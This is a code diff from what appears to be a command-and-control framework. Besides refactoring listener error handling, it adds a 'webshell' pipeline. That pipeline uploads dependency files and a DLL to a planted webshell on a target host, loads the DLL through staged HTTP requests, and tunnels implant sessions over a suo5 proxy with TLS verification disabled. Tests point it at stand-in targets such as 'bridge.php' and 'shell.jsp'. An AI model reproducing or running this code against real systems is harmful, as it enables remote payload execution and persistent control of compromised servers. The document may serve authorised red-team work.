PipelineRuntimeErrorHandler builds a standard error handler for pipeline +// runtime goroutines. All pipeline types (tcp, http, bind, rem, webshell) share +// the same pattern: log the error, disable the pipeline, optionally run cleanup, +// and publish an event. +func PipelineRuntimeErrorHandler(typeName, pipelineName, listenerID string, disabler func(), cleanup func(), op ...string) GoErrorHandler { + label := fmt.Sprintf("%s pipeline %s", typeName, pipelineName) + ctrlOp := consts.CtrlPipelineStop + if len(op) > 0 { + ctrlOp = op[0] + } + return CombineErrorHandlers( + LogGuardedError(label), + func(err error) { + disabler() + if cleanup != nil { + cleanup() + } + if EventBroker != nil { + EventBroker.Publish(Event{ + EventType: consts.EventListener, + Op: ctrlOp, + Listener: &clientpb.Listener{Id: listenerID}, + Message: label, + Err: ErrorText(err), + Important: true, + }) + } + }, + ) +} diff --git a/server/internal/db/models/pipeline.go b/server/internal/db/models/pipeline.go index b405e1bb..f95f45bd 100644 --- a/server/internal/db/models/pipeline.go +++ b/server/internal/db/models/pipeline.go @@ -55,12 +55,15 @@ func customPipelineParams(params string, pipeline *clientpb.Pipeline) *implantty merged := pipelineParamsFromProto(pipeline) customParams, err := implanttypes.UnmarshalPipelineParams(params) if err != nil || customParams == nil { + merged.RawCustomParams = params return merged } customParams.Parser = merged.Parser customParams.Tls = merged.Tls customParams.Encryption = merged.Encryption customParams.Secure = merged.Secure + // Preserve original custom params JSON for non-built-in pipelines (e.g. webshell) + customParams.RawCustomParams = params return customParams } @@ -191,8 +194,12 @@ func (pipeline *Pipeline) ToProtobuf() *clientpb.Pipeline { } default: // All non-built-in types (custom/externally-managed pipelines). + // Prefer the preserved raw custom params over re-marshaling PipelineParams, + // because PipelineParams may not have fields for custom keys (e.g. suo5_url). params := "" - if pipeline.PipelineParams != nil { + if pipeline.PipelineParams != nil && pipeline.PipelineParams.RawCustomParams != "" { + params = pipeline.PipelineParams.RawCustomParams + } else if pipeline.PipelineParams != nil { data, _ := json.Marshal(pipeline.PipelineParams) params = string(data) } diff --git a/server/internal/llm/resolve_test.go b/server/internal/llm/resolve_test.go index e6b475f0..87badc0c 100644 --- a/server/internal/llm/resolve_test.go +++ b/server/internal/llm/resolve_test.go @@ -5,6 +5,23 @@ import ( "testing" ) +var resolveEnvKeys = []string{ + "BRIDGE_API_KEY", + "BRIDGE_OPENAI_BASE_URL", + "BRIDGE_OPENAI_API_KEY", + "BRIDGE_DEEPSEEK_BASE_URL", + "BRIDGE_DEEPSEEK_API_KEY", + "BRIDGE_GROQ_BASE_URL", + "BRIDGE_GROQ_API_KEY", + "BRIDGE_CUSTOM_LLM_BASE_URL", + "BRIDGE_CUSTOM_LLM_API_KEY", + "OPENAI_API_KEY", + "OPENROUTER_API_KEY", + "DEEPSEEK_API_KEY", + "GROQ_API_KEY", + "MOONSHOT_API_KEY", +} + func TestResolve(t *testing.T) { tests := []struct { name string @@ -117,6 +134,9 @@ func TestResolve(t *testing.T) { for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { + for _, key := range resolveEnvKeys { + t.Setenv(key, "") + } for k, v := range tt.envs { t.Setenv(k, v) } diff --git a/server/listener/bind.go b/server/listener/bind.go index f6bc1cbb..0f80979b 100644 --- a/server/listener/bind.go +++ b/server/listener/bind.go @@ -148,21 +148,5 @@ func (pipeline *BindPipeline) handlerReq(req *clientpb.SpiteRequest) error { } func (pipeline *BindPipeline) runtimeErrorHandler(scope string) core.GoErrorHandler { - label := fmt.Sprintf("bind pipeline %s %s", pipeline.Name, scope) - return core.CombineErrorHandlers( - core.LogGuardedError(label), - func(err error) { - pipeline.Enable = false - if core.EventBroker != nil { - core.EventBroker.Publish(core.Event{ - EventType: consts.EventListener, - Op: consts.CtrlPipelineStop, - Listener: &clientpb.Listener{Id: pipeline.ListenerID}, - Message: label, - Err: core.ErrorText(err), - Important: true, - }) - } - }, - ) + return core.PipelineRuntimeErrorHandler("bind", pipeline.Name+" "+scope, pipeline.ListenerID, func() { pipeline.Enable = false }, nil) } diff --git a/server/listener/http.go b/server/listener/http.go index 90ea3c04..9187b67d 100644 --- a/server/listener/http.go +++ b/server/listener/http.go @@ -345,24 +345,12 @@ func (pipeline *HTTPPipeline) writeError(w http.ResponseWriter, statusCode int, } func (pipeline *HTTPPipeline) runtimeErrorHandler(scope string) core.GoErrorHandler { - label := fmt.Sprintf("http pipeline %s %s", pipeline.Name, scope) - return core.CombineErrorHandlers( - core.LogGuardedError(label), - func(err error) { - pipeline.Enable = false + return core.PipelineRuntimeErrorHandler("http", pipeline.Name+" "+scope, pipeline.ListenerID, + func() { pipeline.Enable = false }, + func() { if pipeline.srv != nil { _ = pipeline.srv.Close() } - if core.EventBroker != nil { - core.EventBroker.Publish(core.Event{ - EventType: consts.EventListener, - Op: consts.CtrlPipelineStop, - Listener: &clientpb.Listener{Id: pipeline.ListenerID}, - Message: label, - Err: core.ErrorText(err), - Important: true, - }) - } }, ) } diff --git a/server/listener/listener.go b/server/listener/listener.go index 7ae30f25..090e87ee 100644 --- a/server/listener/listener.go +++ b/server/listener/listener.go @@ -500,7 +500,11 @@ func (lns *listener) startPipeline(pipelinepb *clientpb.Pipeline) (core.Pipeline case *clientpb.Pipeline_Http: p, err = NewHttpPipeline(lns.Rpc, pipelinepb) case *clientpb.Pipeline_Custom: - p = NewCustomPipeline(pipelinepb) + if pipelinepb.Type == "webshell" { + p, err = NewWebShellPipeline(lns.Rpc, pipelinepb) + } else { + p = NewCustomPipeline(pipelinepb) + } default: // Fallback: treat any unknown body as custom pipeline. p = NewCustomPipeline(pipelinepb) diff --git a/server/listener/rem.go b/server/listener/rem.go index 6982375d..95999655 100644 --- a/server/listener/rem.go +++ b/server/listener/rem.go @@ -264,25 +264,14 @@ func (rem *REM) healthLoop() error { } func (rem *REM) runtimeErrorHandler(scope string) core.GoErrorHandler { - label := fmt.Sprintf("rem pipeline %s %s", rem.Name, scope) - return core.CombineErrorHandlers( - core.LogGuardedError(label), - func(err error) { - rem.Enable = false + return core.PipelineRuntimeErrorHandler("rem", rem.Name+" "+scope, rem.ListenerID, + func() { rem.Enable = false }, + func() { if rem.con != nil { _ = rem.con.Close() } - if core.EventBroker != nil { - core.EventBroker.Publish(core.Event{ - EventType: consts.EventListener, - Op: consts.CtrlRemStop, - Listener: &clientpb.Listener{Id: rem.ListenerID}, - Message: label, - Err: core.ErrorText(err), - Important: true, - }) - } }, + consts.CtrlRemStop, ) } diff --git a/server/listener/tcp.go b/server/listener/tcp.go index 940a06b2..3d752b73 100644 --- a/server/listener/tcp.go +++ b/server/listener/tcp.go @@ -253,24 +253,12 @@ func (pipeline *TCPPipeline) handleBeacon(conn *cryptostream.Conn) { } func (pipeline *TCPPipeline) runtimeErrorHandler(scope string) core.GoErrorHandler { - label := fmt.Sprintf("tcp pipeline %s %s", pipeline.Name, scope) - return core.CombineErrorHandlers( - core.LogGuardedError(label), - func(err error) { - pipeline.Enable = false + return core.PipelineRuntimeErrorHandler("tcp", pipeline.Name+" "+scope, pipeline.ListenerID, + func() { pipeline.Enable = false }, + func() { if pipeline.ln != nil { _ = pipeline.ln.Close() } - if core.EventBroker != nil { - core.EventBroker.Publish(core.Event{ - EventType: consts.EventListener, - Op: consts.CtrlPipelineStop, - Listener: &clientpb.Listener{Id: pipeline.ListenerID}, - Message: label, - Err: core.ErrorText(err), - Important: true, - }) - } }, ) } diff --git a/server/listener/webshell.go b/server/listener/webshell.go new file mode 100644 index 00000000..b77a4ecd --- /dev/null +++ b/server/listener/webshell.go @@ -0,0 +1,383 @@ +package listener + +import ( + "bytes" + "crypto/tls" + "encoding/binary" + "encoding/json" + "fmt" + "io" + "net" + "net/http" + "net/url" + "os" + "path/filepath" + "strings" + "sync" + "time" + + "github.com/chainreactors/IoM-go/consts" + "github.com/chainreactors/IoM-go/proto/client/clientpb" + "github.com/chainreactors/IoM-go/proto/implant/implantpb" + "github.com/chainreactors/IoM-go/types" + "github.com/chainreactors/logs" + "github.com/chainreactors/malice-network/helper/encoders/hash" + "github.com/chainreactors/malice-network/server/internal/core" + "github.com/chainreactors/malice-network/server/internal/parser" + "github.com/chainreactors/proxyclient/suo5" + "google.golang.org/protobuf/proto" +) + +// Bootstrap stage names for HTTP query string (?s=). +const ( + wsStageLoad = "load" + wsStageStatus = "status" + wsStageInit = "init" + wsStageDeps = "deps" +) + +// webshellParams is the JSON stored in CustomPipeline.Params. +type webshellParams struct { + Suo5URL string `json:"suo5_url"` + StageToken string `json:"stage_token,omitempty"` + DLLPath string `json:"dll_path,omitempty"` + DepsDir string `json:"deps_dir,omitempty"` +} + +func NewWebShellPipeline(rpc bindRPCClient, pipeline *clientpb.Pipeline) (*WebShellPipeline, error) { + custom := pipeline.GetCustom() + if custom == nil { + return nil, fmt.Errorf("webshell pipeline missing custom body") + } + + var params webshellParams + if custom.Params != "" { + if err := json.Unmarshal([]byte(custom.Params), ¶ms); err != nil { + return nil, fmt.Errorf("parse webshell params: %w", err) + } + } + if params.Suo5URL == "" && custom.Host != "" { + params.Suo5URL = custom.Host + } + if params.Suo5URL == "" { + return nil, fmt.Errorf("webshell pipeline requires suo5_url") + } + + msgParser, err := parser.NewParser(consts.ImplantMalefic) + if err != nil { + return nil, fmt.Errorf("create malefic parser: %w", err) + } + + return &WebShellPipeline{ + rpc: rpc, + Name: pipeline.Name, + ListenerID: pipeline.ListenerId, + Enable: pipeline.Enable, + Suo5URL: params.Suo5URL, + DLLPath: params.DLLPath, + DepsDir: params.DepsDir, + parser: msgParser, + httpClient: &http.Client{ + Timeout: 30 * time.Second, + Transport: &http.Transport{ + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + }, + }, + pipeline: pipeline, + }, nil +} + +type WebShellPipeline struct { + rpc bindRPCClient + Name string + ListenerID string + Enable bool + Suo5URL string + DLLPath string + DepsDir string + + parser *parser.MessageParser + httpClient *http.Client + sessions sync.Map // rawID(uint32) → *webshellSession + pipeline *clientpb.Pipeline +} + +type webshellSession struct { + conn net.Conn + rawID uint32 + mu sync.Mutex +} + +func (p *WebShellPipeline) ID() string { return p.Name } + +func (p *WebShellPipeline) ToProtobuf() *clientpb.Pipeline { return p.pipeline } + +func (p *WebShellPipeline) Start() error { + p.Enable = true + forward, err := core.NewForward(p.rpc, p) + if err != nil { + return err + } + forward.ListenerId = p.ListenerID + core.Forwarders.Add(forward) + + logs.Log.Infof("[pipeline] starting WebShell pipeline %s -> %s", p.Name, p.Suo5URL) + core.GoGuarded("webshell-handler:"+p.Name, p.handler, p.runtimeErrorHandler("handler loop")) + return nil +} + +func (p *WebShellPipeline) Close() error { + p.Enable = false + p.sessions.Range(func(key, value interface{}) bool { + sess := value.(*webshellSession) + sess.conn.Close() + p.sessions.Delete(key) + return true + }) + return nil +} + +// handler is the main loop receiving SpiteRequests from the server via Forward. +func (p *WebShellPipeline) handler() error { + defer logs.Log.Debugf("webshell pipeline %s handler exit", p.Name) + for { + forward := core.Forwarders.Get(p.ID()) + if forward == nil { + return fmt.Errorf("webshell pipeline %s forwarder missing", p.Name) + } + msg, err := forward.Stream.Recv() + if err != nil { + return fmt.Errorf("webshell pipeline %s recv: %w", p.Name, err) + } + core.GoGuarded("webshell-request:"+p.Name, func() error { + return p.handlerReq(msg) + }, core.LogGuardedError("webshell-request:"+p.Name)) + } +} + +// handlerReq dispatches a single SpiteRequest. ModuleInit triggers DLL bootstrap +// and suo5 channel setup; everything else is forwarded to the session conn. +func (p *WebShellPipeline) handlerReq(req *clientpb.SpiteRequest) error { + rawID := req.Session.RawId + + if req.Spite.Name == consts.ModuleInit { + return p.initSession(rawID) + } + + val, ok := p.sessions.Load(rawID) + if !ok { + return fmt.Errorf("session %d not found", rawID) + } + sess := val.(*webshellSession) + + spites := &implantpb.Spites{Spites: []*implantpb.Spite{req.Spite}} + sess.mu.Lock() + err := p.parser.WritePacket(sess.conn, spites, sess.rawID) + sess.mu.Unlock() + return err +} + +// initSession bootstraps DLL, dials suo5, registers session, starts readLoop. +func (p *WebShellPipeline) initSession(rawID uint32) error { + if p.DepsDir != "" { + if err := p.deliverDeps(); err != nil { + logs.Log.Warnf("deliver deps: %v", err) + } + } + + reg, sid, err := p.bootstrapDLL() + if err != nil { + return fmt.Errorf("bootstrap DLL: %w", err) + } + + conn, err := p.dialSuo5() + if err != nil { + return fmt.Errorf("dial suo5: %w", err) + } + + sess := &webshellSession{conn: conn, rawID: sid} + p.sessions.Store(sid, sess) + + regSpite, _ := types.BuildSpite(&implantpb.Spite{ + Name: types.MsgRegister.String(), + }, reg) + + sessionID := hash.Md5Hash([]byte(fmt.Sprintf("%d", sid))) + core.Forwarders.Send(p.ID(), &core.Message{ + Spites: &implantpb.Spites{Spites: []*implantpb.Spite{regSpite}}, + SessionID: sessionID, + RawID: sid, + }) + + core.GoGuarded( + fmt.Sprintf("webshell-readloop:%s:%d", p.Name, sid), + func() error { return p.readLoop(sess, sessionID) }, + core.LogGuardedError(fmt.Sprintf("webshell-readloop:%s:%d", p.Name, sid)), + ) + + logs.Log.Importantf("[webshell] session %d registered via %s", sid, p.Suo5URL) + return nil +} + +// readLoop reads TLV frames from suo5 conn and forwards to server. +func (p *WebShellPipeline) readLoop(sess *webshellSession, sessionID string) error { + defer func() { + sess.conn.Close() + p.sessions.Delete(sess.rawID) + logs.Log.Debugf("[webshell] readLoop exit for session %d", sess.rawID) + }() + for { + _, spites, err := p.parser.ReadPacket(sess.conn) + if err != nil { + return fmt.Errorf("session %d read: %w", sess.rawID, err) + } + core.Forwarders.Send(p.ID(), &core.Message{ + Spites: spites, + SessionID: sessionID, + RawID: sess.rawID, + }) + } +} + +// bootstrapDLL performs status check, DLL load if needed, and init handshake. +func (p *WebShellPipeline) bootstrapDLL() (*implantpb.Register, uint32, error) { + statusBody, err := p.bootstrapHTTP(wsStageStatus, nil) + if err != nil { + return nil, 0, fmt.Errorf("status check: %w", err) + } + + ready := false + text := strings.TrimSpace(string(statusBody)) + if len(text) > 0 && text[0] == '{' { + var sr struct{ Ready bool } + if json.Unmarshal([]byte(text), &sr) == nil { + ready = sr.Ready + } + } else if text == "LOADED" { + ready = true + } + + if !ready && p.DLLPath != "" { + dllBytes, err := os.ReadFile(p.DLLPath) + if err != nil { + return nil, 0, fmt.Errorf("read DLL %s: %w", p.DLLPath, err) + } + if _, err = p.bootstrapHTTP(wsStageLoad, dllBytes); err != nil { + return nil, 0, fmt.Errorf("load DLL: %w", err) + } + logs.Log.Infof("[webshell] DLL loaded to %s", suo5ToHTTPURL(p.Suo5URL)) + } else if !ready { + return nil, 0, fmt.Errorf("DLL not loaded and no --dll path provided") + } + + body, err := p.bootstrapHTTP(wsStageInit, nil) + if err != nil { + return nil, 0, fmt.Errorf("init: %w", err) + } + if len(body) < 4 { + return nil, 0, fmt.Errorf("init response too short: %d bytes", len(body)) + } + + sid := binary.LittleEndian.Uint32(body[:4]) + reg := &implantpb.Register{} + if err := proto.Unmarshal(body[4:], reg); err != nil { + return nil, 0, fmt.Errorf("unmarshal register: %w", err) + } + return reg, sid, nil +} + +func (p *WebShellPipeline) deliverDeps() error { + entries, err := os.ReadDir(p.DepsDir) + if err != nil { + return err + } + + for _, entry := range entries { + if entry.IsDir() { + continue + } + data, err := os.ReadFile(filepath.Join(p.DepsDir, entry.Name())) + if err != nil { + return fmt.Errorf("read dep %s: %w", entry.Name(), err) + } + depName := entry.Name() + reqURL := fmt.Sprintf("%s?s=%s&name=%s", suo5ToHTTPURL(p.Suo5URL), wsStageDeps, url.QueryEscape(depName)) + req, err := http.NewRequest("POST", reqURL, bytes.NewReader(data)) + if err != nil { + return fmt.Errorf("create dep request %s: %w", depName, err) + } + req.Header.Set("Content-Type", "application/octet-stream") + resp, err := p.httpClient.Do(req) + if err != nil { + return fmt.Errorf("deliver dep %s: %w", depName, err) + } + resp.Body.Close() + if resp.StatusCode != http.StatusOK { + return fmt.Errorf("deliver dep %s: HTTP %d", depName, resp.StatusCode) + } + logs.Log.Debugf("[webshell] dep delivered: %s", depName) + } + return nil +} + +// bootstrapHTTP sends a simple HTTP POST with stage in query string. +// ?s=status / ?s=load / ?s=init +func (p *WebShellPipeline) bootstrapHTTP(stage string, payload []byte) ([]byte, error) { + reqURL := fmt.Sprintf("%s?s=%s", suo5ToHTTPURL(p.Suo5URL), stage) + + var bodyReader io.Reader + if payload != nil { + bodyReader = bytes.NewReader(payload) + } + req, err := http.NewRequest("POST", reqURL, bodyReader) + if err != nil { + return nil, err + } + req.Header.Set("Content-Type", "application/octet-stream") + + resp, err := p.httpClient.Do(req) + if err != nil { + return nil, err + } + defer resp.Body.Close() + + body, err := io.ReadAll(resp.Body) + if err != nil { + return nil, err + } + if resp.StatusCode != http.StatusOK { + return nil, fmt.Errorf("HTTP %d: %s", resp.StatusCode, string(body)) + } + return body, nil +} + +func (p *WebShellPipeline) dialSuo5() (net.Conn, error) { + u, err := url.Parse(p.Suo5URL) + if err != nil { + return nil, fmt.Errorf("parse suo5 url: %w", err) + } + conf, err := suo5.NewConfFromURL(u) + if err != nil { + return nil, fmt.Errorf("suo5 config: %w", err) + } + client := &suo5.Suo5Client{Proxy: u, Conf: conf} + conn, err := client.Dial("tcp", "bridge:0") + if err != nil { + return nil, fmt.Errorf("suo5 dial: %w", err) + } + return conn, nil +} + +func (p *WebShellPipeline) runtimeErrorHandler(scope string) core.GoErrorHandler { + return core.PipelineRuntimeErrorHandler("webshell", p.Name+" "+scope, p.ListenerID, func() { p.Enable = false }, nil) +} + +// --- Helpers --- + +func suo5ToHTTPURL(suo5URL string) string { + s := strings.TrimSpace(suo5URL) + s = strings.Replace(s, "suo5s://", "https://", 1) + s = strings.Replace(s, "suo5://", "http://", 1) + return s +} + diff --git a/server/listener/webshell_test.go b/server/listener/webshell_test.go new file mode 100644 index 00000000..7d891b66 --- /dev/null +++ b/server/listener/webshell_test.go @@ -0,0 +1,157 @@ +package listener + +import ( + "net" + "net/http" + "net/http/httptest" + "testing" + + "github.com/chainreactors/IoM-go/consts" + "github.com/chainreactors/IoM-go/proto/client/clientpb" + "github.com/chainreactors/IoM-go/proto/implant/implantpb" + "github.com/chainreactors/malice-network/server/internal/parser" +) + +func TestMaleficParserRoundtrip(t *testing.T) { + server, client := net.Pipe() + defer server.Close() + defer client.Close() + + p, err := parser.NewParser(consts.ImplantMalefic) + if err != nil { + t.Fatalf("NewParser: %v", err) + } + + want := &implantpb.Spites{ + Spites: []*implantpb.Spite{ + {Name: "test_cmd", TaskId: 42}, + }, + } + var sid uint32 = 1234 + + errCh := make(chan error, 1) + go func() { + errCh <- p.WritePacket(server, want, sid) + }() + + gotSid, got, err := p.ReadPacket(client) + if err != nil { + t.Fatalf("ReadPacket: %v", err) + } + if writeErr := <-errCh; writeErr != nil { + t.Fatalf("WritePacket: %v", writeErr) + } + + if gotSid != sid { + t.Fatalf("sid = %d, want %d", gotSid, sid) + } + if len(got.Spites) != 1 { + t.Fatalf("spite count = %d, want 1", len(got.Spites)) + } + if got.Spites[0].Name != "test_cmd" { + t.Fatalf("spite name = %q, want %q", got.Spites[0].Name, "test_cmd") + } + if got.Spites[0].TaskId != 42 { + t.Fatalf("task_id = %d, want 42", got.Spites[0].TaskId) + } +} + +func TestMaleficParserInvalidStart(t *testing.T) { + server, client := net.Pipe() + defer server.Close() + defer client.Close() + + p, _ := parser.NewParser(consts.ImplantMalefic) + + go func() { + buf := make([]byte, 9) + buf[0] = 0xFF // invalid start delimiter + server.Write(buf) + }() + + _, _, err := p.ReadPacket(client) + if err == nil { + t.Fatal("expected error for invalid start delimiter") + } +} + +func TestSuo5ToHTTPURL(t *testing.T) { + tests := []struct { + input string + want string + }{ + {"suo5://target/bridge.php", "http://target/bridge.php"}, + {"suo5s://target/bridge.php", "https://target/bridge.php"}, + {"suo5://10.0.0.1:8080/shell.jsp", "http://10.0.0.1:8080/shell.jsp"}, + } + for _, tt := range tests { + got := suo5ToHTTPURL(tt.input) + if got != tt.want { + t.Errorf("suo5ToHTTPURL(%q) = %q, want %q", tt.input, got, tt.want) + } + } +} + +func TestNewWebShellPipelineMissingParams(t *testing.T) { + _, err := NewWebShellPipeline(nil, nil) + if err == nil { + t.Fatal("expected error for nil pipeline") + } +} + +func TestNewWebShellPipelineValidParams(t *testing.T) { + pipeline := &clientpb.Pipeline{ + Name: "ws1", + ListenerId: "listener-a", + Enable: true, + Type: "webshell", + Body: &clientpb.Pipeline_Custom{ + Custom: &clientpb.CustomPipeline{ + Name: "ws1", + Params: `{"suo5_url":"suo5://target/bridge.php","dll_path":"/tmp/bridge.dll"}`, + }, + }, + } + + p, err := NewWebShellPipeline(nil, pipeline) + if err != nil { + t.Fatalf("NewWebShellPipeline: %v", err) + } + if p.Suo5URL != "suo5://target/bridge.php" { + t.Fatalf("Suo5URL = %q, want %q", p.Suo5URL, "suo5://target/bridge.php") + } + if p.parser == nil { + t.Fatal("parser should not be nil") + } +} + +func TestBootstrapHTTPQueryString(t *testing.T) { + var gotStage, gotCT string + ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + gotStage = r.URL.Query().Get("s") + gotCT = r.Header.Get("Content-Type") + w.WriteHeader(http.StatusOK) + w.Write([]byte("LOADED")) + })) + defer ts.Close() + + p := &WebShellPipeline{ + Suo5URL: ts.URL, // use test server URL directly + httpClient: ts.Client(), + } + // Override suo5ToHTTPURL by using an http:// URL directly + body, err := p.bootstrapHTTP(wsStageStatus, nil) + if err != nil { + t.Fatalf("bootstrapHTTP: %v", err) + } + + if gotStage != "status" { + t.Errorf("stage query = %q, want %q", gotStage, "status") + } + if gotCT != "application/octet-stream" { + t.Errorf("Content-Type = %q, want %q", gotCT, "application/octet-stream") + } + if string(body) != "LOADED" { + t.Errorf("body = %q, want %q", string(body), "LOADED") + } +}